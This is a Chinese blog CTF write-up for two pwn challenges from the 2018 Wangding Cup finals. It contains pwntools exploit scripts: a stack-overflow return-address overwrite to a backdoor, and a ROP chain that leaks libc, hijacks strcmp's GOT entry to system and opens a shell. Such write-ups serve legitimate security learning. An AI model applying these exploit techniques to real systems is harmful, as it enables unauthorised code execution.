美文网首页
[2018网鼎杯] 总决赛writesup(pwn)

[2018网鼎杯] 总决赛writesup(pwn)

作者: 2mpossible | 来源:发表于2019-01-02 10:46 被阅读0次

题目链接

lin

  • 有个后门,有栈溢出,但是程序会检测返回地址,直接把返回地址改到这里绕过

exp :

from pwn import *

p = process('./lin')

payload = 'a'*0x20 + 'b'*8 + p64(0x400977)
gdb.attach(p,'b *0x400a96')
p.recvuntil('check?\n> ')
p.sendline(payload)

p.interactive()

LFYH

  • 程序有个栈溢出,但是溢出返回地址后需要跳出循环才能rop,所以先利用溢出修改fd为0,然后我们就可以对buf进行改写,在第二次strcmp我们就可以构造rop链并且跳出循环执行rop

exp:

from pwn import *

context.log_level = 'debug'

p = process('./LFYH')
elf = ELF('./LFYH')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'a'*0x78 + p64(0x0)
p.recvuntil('input: ')
p.sendline('a')
p.recvuntil('value: \n')
#gdb.attach(p,'b *0x400ecd')
#hijack fd-> 0
p.sendline(payload)
#change buf
p.recvuntil('target: ')
p.sendline(payload)
p.recvuntil('input: ')
p.sendline('a')
p.recvuntil('random value: \n')

#rop and leak libc , hijack got
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
read_got = elf.got['read']
offset_system = 0x0000000000045390
p6_ret = 0x40109A
mov_call = 0x401080
'''
rbx rbp r12 r13 r14 r15
0   1   got rdi rsi rdx
'''
payload = 'a'*0x78 + p64(0) + 'bbbbbbbb' 
payload += p64(p6_ret) + p64(0) + p64(1) + p64(puts_got)
payload += p64(puts_got) + p64(0) + p64(0) + p64(mov_call)
payload += 'a'*8 + p64(0) + p64(1) + p64(read_got)
payload += p64(0) + p64(strcmp_got) + p64(0x8) + p64(mov_call)
payload += 'a'*56 + p64(0x400D2A)
p.sendline(payload)
p.recvuntil('it?\n')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success('libc_base addr : 0x%x'%libc_base)
log.success('system addr : 0x%x'%system_addr)

#hijack strcmp_got -> system
p.send(p64(system_addr))

#trigger system('/bin/sh\x00')
p.recvuntil('input: ')
p.sendline('a')
p.recvuntil('value: \n')
p.sendline('/bin/sh\x00')
p.interactive()

相关文章

  • [2018网鼎杯] 总决赛writesup(pwn)

    题目链接 lin 有个后门,有栈溢出,但是程序会检测返回地址,直接把返回地址改到这里绕过 exp : LFYH 程...

  • [2018网鼎杯] 半决赛writesup(pwn)

    boorsheet 利用uaf劫持程序控制流 ` frainbuck 利用类似brainfuck进行数组越界泄漏l...

  • [2017湖湘杯] writesup(pwn)

    题目链接 pwn100 一开始没看懂程序在干嘛,但是从fork函数和开了canary可以联想到使用stack sm...

  • 网鼎杯(4)-pwn

    题目链接 保护还挺多 主要漏洞点: stack函数有栈溢出,还有puts函数可以泄漏栈的东西 secret函数由于...

  • 网鼎杯pwn WP

    前言 本周参加了两个比赛,一个是de1CTF,另一个是网鼎杯,把这两场比赛全部总结一下。 在网鼎杯中,有幸拿了一个...

  • [网鼎杯线下] web && droopy 靶场

    网鼎杯线下web && droopy 靶场 这次网鼎打完啦,还是觉得自己太菜了半决赛第二也是抱了pwn爷爷的大腿(...

  • 2018 网鼎杯 | pwn wp

    fgo 漏洞点 :delete 函数 uaf 利用过程:add(0x10) 两个组合 0x10(pointer)...

  • 网鼎杯半决赛 pwn wp

    pwn1防御机制: 运行了下 ,发现是一个模拟聊天软件的程序,功能一共有 8个 通过ida分析程序,程序一开时就分...

  • [2018湖湘杯] writesup

    随便做了选择题,进了复赛,然后打了一下,挺多原题的....,就感觉pwn300还行 题目链接 签到 single ...

  • 网鼎杯2020半决赛pwn部分题解

    easy_pwn 直接输入“#include”,gcc会由于/flag中存在语法错误将flag的内容...

网友评论

      本文标题:[2018网鼎杯] 总决赛writesup(pwn)

      本文链接:https://www.haomeiwen.com/subject/ypnalqtx.html